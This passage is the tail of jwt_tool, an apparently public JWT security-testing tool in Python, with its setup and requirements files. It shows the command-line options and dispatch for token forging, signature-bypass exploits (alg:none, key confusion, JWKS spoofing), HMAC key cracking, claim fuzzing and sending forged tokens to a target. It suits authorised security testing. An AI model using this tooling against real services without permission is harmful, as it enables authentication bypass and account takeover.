1839 | print(" \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ ")
1840 | print(" \\__\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\\__\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m __| \\__\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m __| \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |")
1841 | print(" \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |")
1842 | print(" \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m __\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m __\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |")
1843 | print("\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m _\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |")
1844 | print("\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m / \\\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |")
1845 | print("\\\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m / \\\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m | \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\\\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\\\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m |")
1846 | print(" \\______/ \\__/ \\__| \\__|\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\__| \\______/ \\______/ \\__|")
1847 | print(" \x1b[36mVersion "+jwttoolvers+" \x1b[0m \\______| \x1b[36m@ticarpi\x1b[0m ")
1848 | print()
1849 |
1850 | if __name__ == '__main__':
1851 | parser = argparse.ArgumentParser(epilog="If you don't have a token, try this one:\neyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po", formatter_class=argparse.RawTextHelpFormatter)
1852 | parser.add_argument("jwt", nargs='?', type=str,
1853 | help="the JWT to tinker with (no need to specify if in header/cookies)")
1854 | parser.add_argument("-b", "--bare", action="store_true",
1855 | help="return TOKENS ONLY")
1856 | parser.add_argument("-t", "--targeturl", action="store",
1857 | help="URL to send HTTP request to with new JWT")
1858 | parser.add_argument("-r", "--request", action="store",
1859 | help="URL request to base on")
1860 | parser.add_argument("-rt", "--rate", action="store",
1861 | help="Max. number of requests per minute")
1862 | parser.add_argument("-i", "--insecure", action="store_true",
1863 | help="Use HTTP for passed request")
1864 | parser.add_argument("-rc", "--cookies", action="store",
1865 | help="request cookies to send with the forged HTTP request")
1866 | parser.add_argument("-rh", "--headers", action="append",
1867 | help="request headers to send with the forged HTTP request (can be used multiple times for additional headers)")
1868 | parser.add_argument("-pd", "--postdata", action="store",
1869 | help="text string that contains all the data to be sent in a POST request")
1870 | parser.add_argument("-cv", "--canaryvalue", action="store",
1871 | help="text string that appears in response for valid token (e.g. \"Welcome, ticarpi\")")
1872 | parser.add_argument("-np", "--noproxy", action="store_true",
1873 | help="disable proxy for current request (change in jwtconf.ini if permanent)")
1874 | parser.add_argument("-nr", "--noredir", action="store_true",
1875 | help="disable redirects for current request (change in jwtconf.ini if permanent)")
1876 | parser.add_argument("-M", "--mode", action="store",
1877 | help="Scanning mode:\npb = playbook audit\ner = fuzz existing claims to force errors\ncc = fuzz common claims\nat - All Tests!")
1878 | parser.add_argument("-X", "--exploit", action="store",
1879 | help="eXploit known vulnerabilities:\na = alg:none\nn = null signature\nb = blank password accepted in signature\np = 'psychic signature' accepted in ECDSA signing\ns = spoof JWKS (specify JWKS URL with -ju, or set in jwtconf.ini to automate this attack)\nk = key confusion (specify public key with -pk)\ni = inject inline JWKS")
1880 | parser.add_argument("-ju", "--jwksurl", action="store",
1881 | help="URL location where you can host a spoofed JWKS")
1882 | parser.add_argument("-S", "--sign", action="store",
1883 | help="sign the resulting token:\nhs256/hs384/hs512 = HMAC-SHA signing (specify a secret with -k/-p)\nrs256/rs384/rs512 = RSA signing (specify an RSA private key with -pr)\nes256/es384/es512 = Elliptic Curve signing (specify an EC private key with -pr)\nps256/ps384/ps512 = PSS-RSA signing (specify an RSA private key with -pr)")
1884 | parser.add_argument("-pr", "--privkey", action="store",
1885 | help="Private Key for Asymmetric crypto")
1886 | parser.add_argument("-T", "--tamper", action="store_true",
1887 | help="tamper with the JWT contents\n(set signing options with -S or use exploits with -X)")
1888 | parser.add_argument("-I", "--injectclaims", action="store_true",
1889 | help="inject new claims and update existing claims with new values\n(set signing options with -S or use exploits with -X)\n(set target claim with -hc/-pc and injection values/lists with -hv/-pv")
1890 | parser.add_argument("-hc", "--headerclaim", action="append",
1891 | help="Header claim to tamper with")
1892 | parser.add_argument("-pc", "--payloadclaim", action="append",
1893 | help="Payload claim to tamper with")
1894 | parser.add_argument("-hv", "--headervalue", action="append",
1895 | help="Value (or file containing values) to inject into tampered header claim")
1896 | parser.add_argument("-pv", "--payloadvalue", action="append",
1897 | help="Value (or file containing values) to inject into tampered payload claim")
1898 | parser.add_argument("-C", "--crack", action="store_true",
1899 | help="crack key for an HMAC-SHA token\n(specify -d/-p/-kf)")
1900 | parser.add_argument("-d", "--dict", action="store",
1901 | help="dictionary file for cracking")
1902 | parser.add_argument("-p", "--password", action="store",
1903 | help="password for cracking")
1904 | parser.add_argument("-kf", "--keyfile", action="store",
1905 | help="keyfile for cracking (when signed with 'kid' attacks)")
1906 | parser.add_argument("-V", "--verify", action="store_true",
1907 | help="verify the RSA signature against a Public Key\n(specify -pk/-jw)")
1908 | parser.add_argument("-pk", "--pubkey", action="store",
1909 | help="Public Key for Asymmetric crypto")
1910 | parser.add_argument("-jw", "--jwksfile", action="store",
1911 | help="JSON Web Key Store for Asymmetric crypto")
1912 | parser.add_argument("-Q", "--query", action="store",
1913 | help="Query a token ID against the logfile to see the details of that request\ne.g. -Q jwttool_46820e62fe25c10a3f5498e426a9f03a")
1914 | parser.add_argument("-v", "--verbose", action="store_true",
1915 | help="When parsing and printing, produce (slightly more) verbose output.")
1916 | args = parser.parse_args()
1917 | if not args.bare:
1918 | printLogo()
1919 | try:
1920 | path = os.path.expanduser("~/.jwt_tool")
1921 | if not os.path.exists(path):
1922 | os.makedirs(path)
1923 | except:
1924 | path = sys.path[0]
1925 | logFilename = path+"/logs.txt"
1926 | configFileName = path+"/jwtconf.ini"
1927 | config = configparser.ConfigParser()
1928 | if (os.path.isfile(configFileName)):
1929 | config.read(configFileName)
1930 | print(configFileName)
1931 | else:
1932 | cprintc("No config file yet created.\nRunning config setup.", "cyan")
1933 | createConfig()
1934 | if config['services']['jwt_tool_version'] != jwttoolvers:
1935 | cprintc("Config file showing wrong version ("+config['services']['jwt_tool_version']+" vs "+jwttoolvers+")", "red")
1936 | cprintc("Current config file has been backed up as '"+path+"/old_("+config['services']['jwt_tool_version']+")_jwtconf.ini' and a new config generated.\nPlease review and manually transfer any custom options you have set.", "red")
1937 | os.rename(configFileName, path+"/old_("+config['services']['jwt_tool_version']+")_jwtconf.ini")
1938 | createConfig()
1939 | exit(1)
1940 | with open(path+"/null.txt", 'w') as nullfile:
1941 | pass
1942 | findJWT = ""
1943 |
1944 | if args.request:
1945 | port = ''
1946 |
1947 | with open(args.request, 'r') as file:
1948 | first_line = file.readline().strip()
1949 | method, first_line_remainder = first_line.split(' ', 1)
1950 | url = first_line_remainder.split(' ', 1)[0]
1951 | base_url = ''
1952 |
1953 | in_headers = True
1954 | args.postdata = ''
1955 |
1956 | for line in file:
1957 |
1958 | line = line.strip()
1959 | if not line:
1960 | # Stop when reaching an empty line (end of headers)
1961 | in_headers = False
1962 | continue
1963 |
1964 | if in_headers:
1965 | if line.lower().startswith('host:'):
1966 | # Extract the host from the 'Host' header
1967 | _, host = line.split(':', 1)
1968 | host = host.strip()
1969 |
1970 | if ':' in host:
1971 | host, port = host.split(':', 1)
1972 |
1973 | protocol = "http" if args.insecure else "https"
1974 |
1975 | base_url = f"{protocol}://{host}"
1976 |
1977 | elif line.lower().startswith('cookie:'):
1978 | cookie = line.split(': ')[1]
1979 | if not args.cookies:
1980 | args.cookies = ''
1981 | args.cookies += cookie
1982 | else:
1983 | # Don't add user agent field, otherwise 'jwt_tool' in user agent will not work
1984 | if not line.lower().startswith('user-agent:'):
1985 | if not args.headers:
1986 | args.headers = []
1987 | args.headers.append(line)
1988 | else:
1989 | args.postdata += line
1990 |
1991 | if not port:
1992 | url_object = urlparse(url)
1993 | if url_object.port:
1994 | port = str(url_object.port)
1995 |
1996 | absolute_url = urljoin(base_url + (':' + port if port else ''), url)
1997 | args.targeturl = absolute_url
1998 |
1999 | if args.rate:
2000 | try:
2001 | if int(args.rate) > 0:
2002 | rate = int(args.rate)
2003 | # Reassign decorator with new rate limit value
2004 | sendToken = sleep_and_retry(limits(calls=rate, period=DEFAULT_RATE_PERIOD)(sendToken))
2005 | # Display appropriate log
2006 | RPS = rate/DEFAULT_RATE_PERIOD
2007 | if RPS < 1:
2008 | cprintc("[+] RATE-LIMIT: Running at "+ str((rate/DEFAULT_RATE_PERIOD)*60) + " requests per minute\n", "cyan")
2009 | else:
2010 | cprintc("[+] RATE-LIMIT: Running at "+ str((rate/DEFAULT_RATE_PERIOD)) + " requests per second\n", "cyan")
2011 |
2012 | else:
2013 | cprintc("Rate must be an integer > 0", "red")
2014 | exit(1)
2015 | except:
2016 | cprintc("Error: could not handle rate argument", "red")
2017 | exit(1)
2018 | if args.targeturl:
2019 | if args.cookies or args.headers or args.postdata:
2020 | jwt_count = 0
2021 | jwt_locations = []
2022 |
2023 | if args.cookies and re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', args.cookies):
2024 | jwt_count += 1
2025 | jwt_locations.append("cookie")
2026 |
2027 | if args.headers and re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', str(args.headers)):
2028 | jwt_count += 1
2029 | jwt_locations.append("headers")
2030 |
2031 | if args.postdata and re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', str(args.postdata)):
2032 | jwt_count += 1
2033 | jwt_locations.append("post data")
2034 |
2035 | if jwt_count > 1:
2036 | cprintc("Too many tokens! JWT in more than one place: cookie, header, POST data", "red")
2037 | exit(1)
2038 |
2039 | if args.cookies:
2040 | try:
2041 | if re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', args.cookies):
2042 | config['argvals']['headerloc'] = "cookies"
2043 | except:
2044 | cprintc("Invalid cookie formatting", "red")
2045 | exit(1)
2046 |
2047 | if args.headers:
2048 | try:
2049 | if re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', str(args.headers)):
2050 | config['argvals']['headerloc'] = "headers"
2051 | except:
2052 | cprintc("Invalid header formatting", "red")
2053 | exit(1)
2054 |
2055 | if args.postdata:
2056 | try:
2057 | if re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', str(args.postdata)):
2058 | config['argvals']['headerloc'] = "postdata"
2059 | except:
2060 | cprintc("Invalid postdata formatting", "red")
2061 | exit(1)
2062 |
2063 | searchString = " | ".join([
2064 | str(args.cookies),
2065 | str(args.headers),
2066 | str(args.postdata)
2067 | ])
2068 |
2069 | try:
2070 | findJWT = re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', searchString)[0]
2071 | except:
2072 | cprintc("Cannot find a valid JWT", "red")
2073 | cprintc(searchString, "cyan")
2074 | exit(1)
2075 | if args.query:
2076 | jwt = searchLog(args.query)
2077 | elif args.jwt:
2078 | jwt = args.jwt
2079 | cprintc("Original JWT: "+findJWT+"\n", "cyan")
2080 | elif findJWT:
2081 | jwt = findJWT
2082 | cprintc("Original JWT: "+findJWT+"\n", "cyan")
2083 | else:
2084 | parser.print_usage()
2085 | cprintc("No JWT provided", "red")
2086 | exit(1)
2087 | if args.mode:
2088 | if args.mode not in ['pb','er', 'cc', 'at']:
2089 | parser.print_usage()
2090 | cprintc("\nPlease choose a scanning mode (e.g. -M pb):\npb = playbook\ner = force errors\ncc = fuzz common claims\nat = all tests", "red")
2091 | exit(1)
2092 | else:
2093 | config['argvals']['scanMode'] = args.mode
2094 | if args.exploit:
2095 | if args.exploit not in ['a', 'n', 'b', 's', 'i', 'k', 'p']:
2096 | parser.print_usage()
2097 | cprintc("\nPlease choose an exploit (e.g. -X a):\na = alg:none\nn = null signature\nb = blank password accepted in signature\np = 'psychic signature' accepted in ECDSA signing\ns = spoof JWKS (specify JWKS URL with -ju, or set in jwtconf.ini to automate this attack)\nk = key confusion (specify public key with -pk)\ni = inject inline JWKS", "red")
2098 | exit(1)
2099 | else:
2100 | config['argvals']['exploitType'] = args.exploit
2101 | if args.sign:
2102 | if args.sign not in ['hs256','hs384','hs512','rs256','rs384','rs512','es256','es384','es512','ps256','ps384','ps512']:
2103 | parser.print_usage()
2104 | cprintc("\nPlease choose a signature option (e.g. -S hs256)", "red")
2105 | exit(1)
2106 | else:
2107 | config['argvals']['sigType'] = args.sign
2108 | headDict, paylDict, sig, contents = validateToken(jwt)
2109 | paylB64 = base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
2110 | config['argvals']['overridesub'] = "false"
2111 | if args.targeturl:
2112 | config['argvals']['targetUrl'] = args.targeturl.replace('%','%%')
2113 | if args.cookies:
2114 | config['argvals']['cookies'] = args.cookies.replace('%', '%%')
2115 | if args.headers:
2116 | config['argvals']['header'] = str(args.headers)
2117 | if args.dict:
2118 | config['argvals']['keyList'] = args.dict
2119 | if args.keyfile:
2120 | config['argvals']['keyFile'] = args.keyfile
2121 | if args.password:
2122 | config['argvals']['key'] = args.password
2123 | if args.pubkey:
2124 | config['crypto']['pubkey'] = args.pubkey
2125 | if args.privkey:
2126 | config['crypto']['privkey'] = args.privkey
2127 | if args.jwksfile:
2128 | config['crypto']['jwks'] = args.jwksfile
2129 | if args.jwksurl:
2130 | config['services']['jwksloc'] = args.jwksurl
2131 | if args.payloadclaim:
2132 | config['argvals']['payloadclaim'] = str(args.payloadclaim)
2133 | if args.headerclaim:
2134 | config['argvals']['headerclaim'] = str(args.headerclaim)
2135 | if args.payloadvalue:
2136 | config['argvals']['payloadvalue'] = str(args.payloadvalue)
2137 | if args.headervalue:
2138 | config['argvals']['headervalue'] = str(args.headervalue)
2139 | if args.postdata:
2140 | config['argvals']['postData'] = args.postdata.replace('%', '%%')
2141 | if args.canaryvalue:
2142 | config['argvals']['canaryvalue'] = args.canaryvalue
2143 | if args.noproxy:
2144 | config['services']['proxy'] = "False"
2145 | if args.noredir:
2146 | config['services']['redir'] = "False"
2147 | if args.request:
2148 | config['argvals']['request'] = args.request
2149 |
2150 |
2151 | if not args.crack and not args.exploit and not args.verify and not args.tamper and not args.injectclaims:
2152 | rejigToken(headDict, paylDict, sig)
2153 | if args.sign:
2154 | signingToken(headDict, paylDict)
2155 | if args.injectclaims:
2156 | injectionfile = ""
2157 | newheadDict = headDict
2158 | newpaylDict = paylDict
2159 | if args.headerclaim:
2160 | if not args.headervalue:
2161 | cprintc("Must specify header values to match header claims to inject.", "red")
2162 | exit(1)
2163 | if len(args.headerclaim) != len(args.headervalue):
2164 | cprintc("Amount of header values must match header claims to inject.", "red")
2165 | exit(1)
2166 | if args.payloadclaim:
2167 | if not args.payloadvalue:
2168 | cprintc("Must specify payload values to match payload claims to inject.", "red")
2169 | exit(1)
2170 | if len(args.payloadclaim) != len(args.payloadvalue):
2171 | cprintc("Amount of payload values must match payload claims to inject.", "red")
2172 | exit(1)
2173 | if args.payloadclaim:
2174 | for payloadclaim, payloadvalue in zip(args.payloadclaim, args.payloadvalue):
2175 | if os.path.isfile(payloadvalue):
2176 | injectionfile = ["payload", payloadclaim, payloadvalue]
2177 | else:
2178 | newpaylDict, newPaylB64 = injectpayloadclaim(payloadclaim, payloadvalue)
2179 | paylB64 = newPaylB64
2180 | newContents = genContents(headDict, newpaylDict)
2181 | headDict, paylDict, sig, contents = validateToken(newContents+"."+sig)
2182 | if args.headerclaim:
2183 | for headerclaim, headervalue in zip(args.headerclaim, args.headervalue):
2184 | if os.path.isfile(headervalue):
2185 | injectionfile = ["header", headerclaim, headervalue]
2186 | else:
2187 | newheadDict, newHeadB64 = injectheaderclaim(headerclaim, headervalue)
2188 | newContents = genContents(newheadDict, paylDict)
2189 | headDict, paylDict, sig, contents = validateToken(newContents+"."+sig)
2190 | if injectionfile:
2191 | if args.mode:
2192 | cprintc("Fuzzing cannot be used alongside scanning modes", "red")
2193 | exit(1)
2194 | cprintc("Fuzzing file loaded: "+injectionfile[2], "cyan")
2195 | with open(injectionfile[2], "r", encoding='utf-8', errors='ignore') as valLst:
2196 | nextVal = valLst.readline()
2197 | cprintc("Generating tokens from injection file...", "cyan")
2198 | utf8errors = 0
2199 | wordcount = 0
2200 | while nextVal:
2201 | if injectionfile[0] == "payload":
2202 | newpaylDict, newPaylB64 = injectpayloadclaim(injectionfile[1], nextVal.rstrip())
2203 | newContents = genContents(headDict, newpaylDict)
2204 | headDict, paylDict, sig, contents = validateToken(newContents+"."+sig)
2205 | paylB64 = newPaylB64
2206 | elif injectionfile[0] == "header":
2207 | newheadDict, newHeadB64 = injectheaderclaim(injectionfile[1], nextVal.rstrip())
2208 | newContents = genContents(newheadDict, paylDict)
2209 | headDict, paylDict, sig, contents = validateToken(newContents+"."+sig)
2210 | injectOut(newheadDict, newpaylDict)
2211 | nextVal = valLst.readline()
2212 | exit(1)
2213 | else:
2214 | if not args.mode:
2215 | injectOut(newheadDict, newpaylDict)
2216 | exit(1)
2217 | if args.mode:
2218 | if not config['argvals']['targeturl'] and not args.bare:
2219 | cprintc("No target secified (-t), cannot scan offline.", "red")
2220 | exit(1)
2221 | runScanning()
2222 | runActions()
2223 | exit(1)
2224 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | termcolor
2 | cprint
3 | pycryptodomex
4 | requests
5 | ratelimit
--------------------------------------------------------------------------------
/setup.txt:
--------------------------------------------------------------------------------
1 | git clone https://github.com/ticarpi/jwt_tool
2 | cd jwt_tool
3 | sudo apt install python3-pip
4 | python3 -m pip install termcolor cprint pycryptodomex requests
5 | chmod +x jwt_tool.py
6 |
--------------------------------------------------------------------------------